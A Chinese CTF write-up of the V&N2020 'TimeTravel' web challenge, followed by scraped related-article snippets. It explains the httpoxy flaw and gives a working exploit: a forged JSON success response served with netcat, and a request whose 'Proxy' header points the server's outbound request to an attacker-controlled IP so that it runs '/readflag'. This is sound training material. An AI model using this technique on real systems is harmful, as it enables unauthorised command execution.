大佬友链(狗头):https://www.cnblogs.com/p201821440039/

参考博客:

https://www.zhaoj.in/read-6407.html

https://cjm00n.top/2020/02/29/V-N%E5%85%AC%E5%BC%80%E8%B5%9B2020-writeup/

https://www.cnblogs.com/20175211lyz/p/12398612.html

https://www.cnblogs.com/wangtanzhi/p/12388331.html

https://buki-freak.github.io/2020/03/04/V-N-%E5%86%85%E9%83%A8%E8%80%83%E6%A0%B8-wp/#TimeTravel

菜鸡当时没有打出来,后来趁着还有记忆赶快记录一下!

首先进入就直接给了源码:

  1. <?php
  2. error_reporting(0);
  3. require __DIR__ . '/vendor/autoload.php';

  4. use GuzzleHttp\Client;

  5. highlight_file(__FILE__);

  6. if(isset($_GET['flag'])) {
  7. $client = new Client();
  8. $response = $client->get('http://127.0.0.1:5000/api/eligible');
  9. $content = $response->getBody();
  10. $data = json_decode($content, TRUE);
  11. if($data['success'] === true) {
  12. echo system('/readflag');
  13. }
  14. }

  15. if(isset($_GET['file'])) {
  16. highlight_file($_GET['file']);
  17. }

  18. if(isset($_GET['phpinfo'])) {
  19. phpinfo();
  20. }

代码的主要含义就是:

1.传入一个flag,就会去请求HTTP-api服务,假如该服务器返回success的话,就会执行程序读取flag,传file进入的话就会去读取这个文件,如果是pipinfo,则执行phpinfo

起初也没发现怎么做,后来复现的时候才知道是考的CGI特性,了来源是VULHUB的一道题

首先随意看看phpinfo,貌似没有什么

赵师傅的博客里写了:

然后才知道

在大佬的提示下:此处是use GuzzleHttp\Client,Guzzle 使用的是 RFC 3875 (CGI)

因此考点就是httppoxy这个东西

那么是怎么利用的嘛:

是因为其的代码以cgi模式运行,那么cgi模式是啥?

CGI是common gateway interface的缩写,大家都译作通用网关接口,但很不幸,我们无法见名知意。

总所周知,web服务器所处理的任务都是静态的,假如其要想处理动态的任务,则需要web应用程序的帮助,比如PHP,jsp,python,perl等

为了将web服务器的动态请求传递给这些应用程序,依靠cgi协议。

简单的cgi工作方式:

有多种方式可以执行cgi程序,但对http的请求方法来说,只有get和post两种方法允许执行cgi脚本(即上面的search程序)。实际上post方法的内部本质还是get方法,只不过在发送http请求时,get和post方法对url中的参数处理方式不一样而已。

更多关于CGI详细的解释:链接

然后关于cgi'还有好多东西,后面再整理一篇博客(我又挖坑给自己跳了)

总而言之就是这个规则会将header中的proxy参数设置冲环境变量HTTP_PROXY

以下是影响范围:

所以跟之前的那道题一样,要在监听端口,于是开一台内网服务器

(网上有两种方法都尝试了,但是只有下面这种我拿到flag了)

使用下面的exp:

建一个b.txt文件

  1. HTTP/1.1 200 OK
  2. Server: nginx/1.14.2
  3. Date: Fri, 06 Mar 2020 18:27:31 GMT
  4. Content-Type: text/html; charset=UTF-8
  5. Connection: Keep-alive
  6. Content-Length: 16

  7. {"success":true}

然后传到服务器上(也可以在服务器上直接vim,但是我的xshell好像有问题)

然后运行监听端口

  1. nc -lvp < b.txt

然后bp发包如下(重点是最后一句):

  1. GET /?flag=123 HTTP/1.1
  2. Host:xxxxxxxxnode3.buuoj.cn:27571
  3. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0
  4. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  5. Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  6. Accept-Encoding: gzip, deflate
  7. Connection: keep-alive
  8. Upgrade-Insecure-Requests: 1
  9. X-Forwarded-For: 127.0.0.1
  10. Proxy: http://174.0.236.30:8888

然后就拿到flag

突然发现还有两种解法:第二种解法 这个使用php -S 0:xxxx端口语句

  1.                 第三种解法   这个解法是反弹shell

[V&N2020 公开赛]TimeTravel 复现的更多相关文章

  1. 刷题记录:[V&N2020 公开赛]TimeTravel

    题目复现链接:https://buuoj.cn/challenges 参考链接:2020 年 V&N 内部考核赛 WriteUp V&N公开赛2020 writeup httpoxy ...

  2. [BUUCTF]PWN——[V&N2020 公开赛]easyTHeap

    [V&N2020 公开赛]easyTHeap 附件 步骤: 例行检查,64位程序,保护全开 本地试运行一下,看看大概的情况,常见的堆的菜单 64位ida载入,main函数 最多只能申请7个ch ...

  3. [BUUCTF]PWN——[V&N2020 公开赛]simpleHeap

    [V&N2020 公开赛]simpleHeap 附件 步骤: 例行检查,64位,保护全开 根据题目可知是一道堆,直接用64位ida打开 我修改了这些函数的名称,这样方便看程序 add,我们可以 ...

  4. [BUUCTF]REVERSE——[V&N2020 公开赛]CSRe

    [V&N2020 公开赛]CSRe 附件 步骤: 例行检查,无壳儿,但是有NET混淆,使用de4dot工具进行处理 之后用dnSpy打开,从入口点开始看程序 找到有关flag的信息 flag由 ...

  5. [BUUCTF]REVERSE——[V&N2020 公开赛]strangeCpp

    [V&N2020 公开赛]strangeCpp 附加 步骤 查壳,无壳,64位程序 64位ida载入,没有main函数,根据程序里的字符串,去查看函数 __int64 __fastcall s ...

  6. [BUUCTF]PWN——[V&N2020 公开赛]babybabypwn

    [V&N2020 公开赛]babybabypwn 附件 步骤: 例行检查,64位程序,保护全开 本地试运行一下,看看程序的大概情况 64位ida载入,看一下main函数 sub_1202()函 ...

  7. [BUUCTF]PWN——[V&N2020 公开赛]warmup

    [V&N2020 公开赛]warmup 附件 步骤: 例行检查,64位程序,除了canary,其他保护都开 本地运行一下,看看大概的情况 64位ida载入,从main函数开始看程序 看到程序将 ...

  8. 【pwn】V&N2020 公开赛 simpleHeap

    [pwn]V&N2020 公开赛 simpleHeap 1.静态分析 首先libc版本是ubuntu16的2.23版本,可以去buu的资源处下载 然后checksec一下,保护全开 拖入IDA ...

  9. [V&N2020 公开赛] Web misc部分题解

    0x00 前言 写了一天题目,学到了好多东西, 简单记录一下 0x01 Web HappyCTFd 直接使用网上公开的cve打: 解题思路:先注册一个admin空格账号,注意这里的靶机无法访问外网,邮 ...

随机推荐

  1. mycat主要参数

    以下内容源于mycat官方文档,记录下来方便直接查看: mycat版本:1.6 负载均衡类型,目前的取值有 3 种:1. balance="0", 不开启读写分离机制,所有读操作都 ...

  2. F版本SpringCloud 5—Eureka集群和自我保护机制

    源码地址:https://gitee.com/bingqilinpeishenme/Java-Tutorials 前言 上篇文章中,通过代码搭建了Eureka注册中心和客户端,是Eureka的简单应用 ...

  3. 面试刷题24:介绍一枚 JAVA妹妹?

    java提供的自动垃圾收集机制大大提高了程序员的开发效率. 但是自动垃圾收集不是万能的,明确jvm的内存结构,工作机制是设计高扩展应用的基础. 也是诊断jvm运行时问题的必备技能. 我是李福春,我在准 ...

  4. 解决GPU显存未释放问题

    前言 今早我想用多块GPU测试模型,于是就用了PyTorch里的torch.nn.parallel.DistributedDataParallel来支持用多块GPU的同时使用(下面简称其为Dist). ...

  5. 【翻译】.NET 5 Preview2发布

    在4月2日,发布了.NET 5.0 Preview2,这次发布对一些功能和性能做了相关的改进,同时后面也会实施5.0版本更多的功能,其中一些功能目前也dotnet/designs在.NET 5 Pre ...

  6. 《java编程思想》一切都是对象

    1. 用引用操纵对象 在Java中一切皆对象,我们平常在对java中的类进行操作时,其实操作的不是对象本身而是对象的引用.我们可以将这想象成用遥控器(引用)操作电视机(对象),只要握住这个遥控器,就能 ...

  7. 不可被忽视的操作系统( FreeRTOS )【1】

    把大多数人每个星期的双休过过成了奢侈的节假日放假,把每天23点后定义为自己的自由时间,应该如何去思考这个问题 ? 双休的两天里,不!是放假的两天里,终于有较长的时间好好的学习一下一直断断续续的Free ...

  8. C 旅店

    时间限制 : - MS   空间限制 : - KB  评测说明 : 1s,256m 问题描述 一条笔直的公路旁有N家旅店,从左往右编号1到N,其中第i家旅店的位置坐标为Xi.旅人何老板总在赶路.他白天 ...

  9. STM32F103ZET6 PWM输出

    1.通用定时器的PWM功能 STM32F103ZET6有4个通用定时器,分别是TIM2.TIM3.TIM4.TIM5. 通用定时器由一个可编程预分频器驱动的16位自动装载计数器构成. 通用定时器的很多 ...

  10. PTA数据结构与算法题目集(中文) 7-16

    PTA数据结构与算法题目集(中文)  7-16 7-16 一元多项式求导 (20 分)   设计函数求一元多项式的导数. 输入格式: 以指数递降方式输入多项式非零项系数和指数(绝对值均为不超过1000 ...